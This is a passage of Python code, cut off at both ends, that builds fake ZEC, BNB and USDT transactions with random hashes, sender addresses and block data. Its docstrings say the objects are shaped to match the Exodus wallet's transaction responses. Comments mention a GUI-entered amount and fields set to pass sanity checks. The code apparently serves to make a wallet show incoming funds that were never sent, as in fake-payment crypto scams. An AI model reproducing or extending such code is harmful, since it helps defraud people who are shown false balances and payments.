sender_address = f"t1{''.join(random.choices('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz', k=33))}"
tx = _utxo_fake_json('ZEC', address, amount, sender_address, consistent_id, creation_time, 226)
if tx:
tx['fees'] = 0.0001
return tx
return {"fees": 0.0001, "txid": (consistent_id[:64] if consistent_id else ''.join(random.choices('0123456789abcdef', k=64))), "time": int(creation_time), "blockheight": (int(time.time()) % 100000) + 1000000, "confirmations": 1, "vsize": 226, "vin": [{"txid": ''.join(random.choices('0123456789abcdef', k=64)), "vout": 0, "value": str(amount), "addr": sender_address}], "vout": [{"n": 0, "scriptPubKey": {"addresses": [address], "hex": "76a914" + ''.join(random.choices('0123456789abcdef', k=40)) + "88ac"}, "value": str(amount)}]}
def create_fake_bnb_transaction(address, amount, sender_address="", consistent_id=None, creation_time=None):
"""Create an account-style BNB (BSC) transaction object compatible
with the Exodus `bsc-clarity` transactions response format.
"""
if creation_time is None:
creation_time = time.time()
confirmations, blockheight = get_confirmations_and_block(creation_time)
if consistent_id:
txhash = consistent_id[:64]
else:
txhash = ''.join(random.choices('0123456789abcdef', k=64))
if not sender_address or sender_address == "Random":
if consistent_id:
random.seed(consistent_id)
sender_address = f"0x{''.join(random.choices('0123456789abcdef', k=40))}"
random.seed()
else:
sender_address = f"0x{''.join(random.choices('0123456789abcdef', k=40))}"
# Default gas values for a simple transfer
gas = 21000
gas_price = 50000000
gas_used = 21000
# Treat GUI-entered `amount` as whole BNB tokens; convert to wei (1 BNB = 1e18)
try:
value_wei = str(int(float(amount) * (10 ** 18)))
except Exception:
try:
value_wei = str(int(float(amount)))
except Exception:
value_wei = '0'
tx = {
"blockNumber": blockheight if blockheight != -1 else -1,
"type": "0x0",
"hash": f"0x{txhash}",
"transactionIndex": "0",
"nonce": "0",
"gas": str(gas),
"gasPrice": str(gas_price),
"gasPriceEffective": str(gas_price),
"gasUsed": str(gas_used),
# cumulative should be at least gas_used to pass sanity checks
"gasUsedCumulative": str(gas_used),
"to": (address or '').lower(),
"from": (sender_address or '').lower(),
# timestamp in milliseconds as hex (Exodus expects ms)
"timestamp": hex(int(creation_time * 1000)),
"value": value_wei,
"status": "1",
"error": None,
"input": "0x",
"effects": [],
"methodId": "0x",
"confirmations": int(confirmations) if int(confirmations) > 0 else 1,
"walletChanges": [
{"wallet": (address or '').lower(), "type": "balance", "from": "0", "to": value_wei, "contract": None},
{"wallet": (address or '').lower(), "type": "nonce", "from": "0", "to": "0", "contract": None}
],
"extraData": {}
}
return tx
# USDT (ERC-20 on Ethereum) — same clarity shape as BNB; `to` is the token contract.
_USDT_CONTRACT_ETH = "0xdac17f958d2ee523a2206206994597c13d831ec7"
def _usdt_transfer_input(dest_hex_addr, amount_smallest):
dest = (dest_hex_addr or "").lower().replace("0x", "")
if len(dest) != 40:
dest = (dest + "0" * 40)[:40]
try:
amt = int(amount_smallest)
except Exception:
amt = 0
if amt < 0:
amt = 0
return "0xa9059cbb" + dest + format(amt, "x").zfill(64)
def create_fake_usdt_transaction(address, amount, sender_address="", consistent_id=None, creation_time=None):
"""ERC-20 USDT (6 decimals) in eth-clarity `transactions` format."""
if creation_time is None:
creation_time = time.time()
confirmations, blockheight = get_confirmations_and_block(creation_time)
if consistent_id:
txhash = consistent_id[:64]
else:
txhash = "".join(random.choices("0123456789abcdef", k=64))
if not sender_address or sender_address == "Random":
if consistent_id:
random.seed(consistent_id)
sender_address = f"0x{''.join(random.choices('0123456789abcdef', k=40))}"
random.seed()
else:
sender_address = f"0x{''.join(random.choices('0123456789abcdef', k=40))}"
try:
amt_smallest = int(round(float(amount) * (10 ** 6)))
except Exception:
try:
amt_smallest = int(float(amount))
except Exception:
amt_smallest = 0
value_token = str(amt_smallest)
recv = (address or "").lower()
gas = 65000
gas_price = 20000000000
gas_used = gas
contract = _USDT_CONTRACT_ETH.lower()